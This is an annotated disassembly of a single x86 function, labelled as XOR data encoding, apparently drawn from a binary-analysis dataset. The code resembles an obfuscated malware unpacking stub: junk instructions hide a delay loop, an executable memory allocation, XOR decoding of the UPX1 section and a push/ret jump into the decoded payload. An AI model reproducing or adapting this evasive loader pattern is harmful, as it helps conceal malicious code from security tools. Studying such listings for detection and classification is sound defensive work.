Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7424250d
add esi, esi
sub edx, 0x19a5bb20
popal
or esi, esi
sub edx, 0x52de04c8
not edx
mov edi, 0
mov edx, esi
not ecx
or ecx, eax
inc eax
mov ebx, edx
not eax
or ecx, ecx
mov esi, ebx
add eax, eax
inc ecx
inc edi
dec eax
mov ecx, 0xb2a19890
cmp edi, 0x100c598
jne 0xa789ca
add ecx, 0x77dab859
mov eax, ecx
sub esi, edx
sub edx, esi
mov esi, 0xa78796
mov ecx, 0x1f906fe6
and edx, edx
add edx, ebx
mov edi, 0xa7898a
sub ecx, 1
dec ecx
sub ebx, 0x3d339505
mov eax, dword [esi]
sub ebx, 0x6eb1db98
add ecx, edx
dec ebx
and eax, 0xff
dec ecx
and ecx, ebx
xor dword [edi], eax
inc ecx
inc ecx
inc edi
not edx
mov ecx, edx
sub ecx, 0x34053b6c
inc esi
sub ecx, 0x68938297
sub ebx, 0xa8c17654
cmp edi, entry0
jl 0xa78a1b
sub ecx, 0x80a3c623
not ebx
or ecx, ebx
sub edx, 0x8370d3dc
mov ecx, 0x212e3243
add edx, 0xe5f7eeae
add edi, ecx
mov ebx, 0xa7898e
sub edx, ecx
sub edx, ecx
mov ebx, dword [ebx]
and esi, esi
dec edx
mov ebx, dword [ebx]
mov edx, 0x7802c4c8
not esi
or ecx, edi
push ebx
dec edi
add edi, edi
dec edi
mov ebx, 0xa7898a
dec ecx
mov edi, 0x2b951a67
mov ebx, dword [ebx]
sub edx, ecx
or edx, edx
mov ebx, dword [ebx]
not ecx
mov ecx, edi
push 0xa78992
not ecx
sub ecx, edi
inc edi
call ebx
add ecx, 0x6ab766ed
mov esi, 0x5eae2cf0
add edx, 0xfb1f49d0
pop ebx
add esi, ecx
inc edx
push 0xa7899f
add edi, esi
add ecx, 0xfa1efd3c
push eax
add edx, esi
add ecx, edi
mov esi, 0xc784f2c0
call ebx
add ecx, 0x86e74c7d
sub ecx, 0xdcb0256e
push 0x40
not edx
sub edx, 0x24b78ad7
push 0x3000
sub ecx, 0x8c443969
sub esi, 1
mov edi, esi
push 0x20000807
and edi, esi
add edx, 0x3049831
or ecx, esi
push 0
or edi, esi
sub edi, 0xc3fe0df8
add edx, 0x20eb2306
call eax
and ecx, edx
add edx, esi
add eax, 0x20000753
add edx, 0x974d70cb
not edi
mov ebx, 0x534b8410
sub ecx, 0x328416e7
dec ecx
sub edx, edi
mov dword [eax], ebx
mov edi, 0x6c078b14
not edx
mov ebx, dword [eax]
mov edx, 0x8a8d89cd
mov edx, 0xa89ccbd6
cmp ebx, 0x534b8410
je 0xa78b77
mov eax, 0
mov bl, byte [eax]
mov esi, 0x4b0aba20
add esi, 0xaf3fd30b
sub edx, 0x3b925f76
or edi, ecx
not edx
add esi, 1
mov esi, edx
mov edi, section.UPX1
inc esi
not edx
sub esi, edx
mov ebx, 0xa78795
inc edx
sub esi, edx
mov esi, edx
mov eax, 0
or esi, edx
and edx, esi
mov ecx, 0xa78796
sub edx, 0x83c6b8a2
add esi, 0x34ee8ab6
lea ecx, [eax + ecx]
add edx, esi
add esi, esi
mov ecx, dword [ecx]
sub esi, edx
inc edx
and ecx, 0xff
mov edx, 0xe5ae9f13
sub edx, 0x995edce6
not edx
inc eax
or esi, esi
sub edx, esi
add esi, 0x3627e70f
cmp eax, 0x1f4
jne 0xa78bf9
mov eax, 0
mov esi, 0x13048e08
sub esi, 0x764a242d
mov edx, 0x72e01354
add edx, 0x45880937
mov edx, 0x2af59033
xor dword [edi], ecx
mov esi, 0x6fc79e0f
mov edx, 0x1ac80d8b
mov esi, edx
add edi, 2
add edx, esi
dec edx
cmp edi, ebx
jl 0xa78bb1
inc edx
dec esi
dec edx
mov esi, edx
mov esi, edx
mov ecx, section.UPX1
dec esi
add esi, edi
sub edi, 0xe7f6b469
mov edx, section.UPX1
mov esi, 0x71da4fe3
dec edi
inc esi
mov ebx, 0xa78795
not esi
or edi, edi
add esi, 0x9072e717
mov eax, 0
add esi, 0x4384b6ee
inc edi
add esi, edi
mov al, byte [edx]
mov esi, 0xc983d11b
not edi
mov byte [ecx], al
sub edi, 1
or esi, edi
add ecx, 1
inc edi
not esi
add edx, 2
dec esi
not edi
cmp edx, ebx
jle 0xa78c71
add edi, 0xadc70a07
inc esi
dec esi
mov esi, 0x82d4c4c2
push 0x8dc6a0
sub edx, 0x9c106dd0
mov edx, 0x59a22455
ret